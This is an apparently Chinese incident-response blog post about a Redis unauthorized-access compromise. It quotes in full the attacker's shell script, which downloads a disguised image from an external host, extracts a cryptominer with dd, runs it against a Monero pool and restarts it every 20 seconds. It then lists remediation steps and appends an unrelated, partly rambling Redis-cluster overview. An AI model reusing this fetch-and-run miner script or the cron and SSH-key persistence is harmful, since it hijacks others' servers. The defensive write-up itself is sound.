【应急响应】————5、redis未授权访问

攻击者利用Redis未授权访问,植入挖矿程序并设置定时任务持续运行。文章详细介绍了攻击过程,包括SSH后门创建、异常进程检测及攻击脚本分析。处理措施包括增加Redis认证、清理恶意文件及修复系统安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

排查过程

检查进程发现SSH后门

发现异常进程

PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。

发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
脚本内容如下:

#!/bin/sh
ps -fe|grep conns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi

sleepTime=20

while [ 0 -lt 1 ]
do
ps -fe| grep conns | grep -v grep 
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & 
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
fi
sleep $sleepTime
done

首先下载了一个图片,然后通过dd提取出来挖矿程序。

然后每20S检查一下进程是否存活。
这种通过Redis未授权拿服务器挖矿的情况很常见。

处理过程

1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
2)删除后门
3)Kill异常进程
4)重启

 

 

 

### Redis 集群的工作模式及其特点 Redis 提供了多种集群工作模式来满足不同的应用场景需求。以下是几种常见的 Redis 集群模式及其各自的特点: #### 1. **服务器端分片(Server-side Sharding)** 服务器端分片是 Redis 官方推荐的集群分片技术,主要通过 Redis Cluster 实现[^1]。 - 数据分布:Redis Cluster 使用哈希槽的概念将所有的键映射到 16384 个 slot 中,每个 Redis 节点负责一部分 slot 的存储。 - 请求处理:客户端可以直接连接任意节点发起请求,如果目标数据不在当前节点上,该节点会自动引导客户端跳转至正确的节点获取数据。 - 特点: - 支持动态扩展和收缩节点数量。 - 自动化故障检测与恢复功能。 - 所有节点间通过 Gossip 协议定期交换状态信息以保持一致性。 #### 2. **主从复制模式下的集群架构** 在这种模式下,通常采用多组主从结构组成整个集群体系[^2]。 - 架构设计:每两个服务器配置为主从关系构成一个小单元,再由若干这样的小单元共同构建起大规模的分布式环境。 - 写入平衡:利用主从同步机制,在一定程度上缓解单点压力问题从而达到负载均衡的效果。 - 故障转移:当某个 master 出现异常时能够快速切换到对应的 slave 上继续提供服务保障系统的高可用性。 #### 3. **代理分片方案 (Proxy-based sharding)** 此方法借助外部工具完成对内部 redis 实例池子访问路径的选择判断过程[^4]。 - 工作原理:引入一层额外的服务层——即所谓的“代理”,它接受来自前端应用程序的各种查询指令之后依据预定义好的规则决定应该转发给哪一台具体的redis server执行实际的操作最后把结果反馈回去即可。 - 技术选型建议:目前市面上已经存在不少成熟的解决方案可供选择比如Twemproxy 和 Codis 等都是不错的选择项之一;它们不仅简化了开发难度同时还提高了运维效率降低了成本开支等方面都有显著优势表现出来值得考虑采纳实施部署使用当中去实践检验效果如何进一步优化改进现有流程提高整体性能指标水平等等一系列措施手段相结合综合考量分析得出结论最终实现预期目标达成共识推动项目向前发展迈进一大步! #### 4. **Sentinel 哨兵监控系统** 虽然严格意义上来说不属于一种独立存在的 “模式”,但是由于其在整个生态链里扮演着极其重要的角色地位所以单独拿出来讨论一下也是很有必要的[^5]: - 功能概述:主要用于实时监测各个成员的状态变化情况(包括但不限于master/slave的角色转换事件通知等),并通过设置合理的阈值参数触发相应的应急响应策略动作,确保即使是在极端恶劣条件下也能维持正常运转不中断对外界用户提供持续稳定可靠的服务体验感受. --- ```python import rediscluster # 创建 Redis Cluster 连接示例 startup_nodes = [{"host": "127.0.0.1", "port": "7000"}] rc = rediscluster.RedisCluster(startup_nodes=startup_nodes, decode_responses=True) # 设置键值对 rc.set("foo", "bar") # 获取键值对 value = rc.get("foo") print(value) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值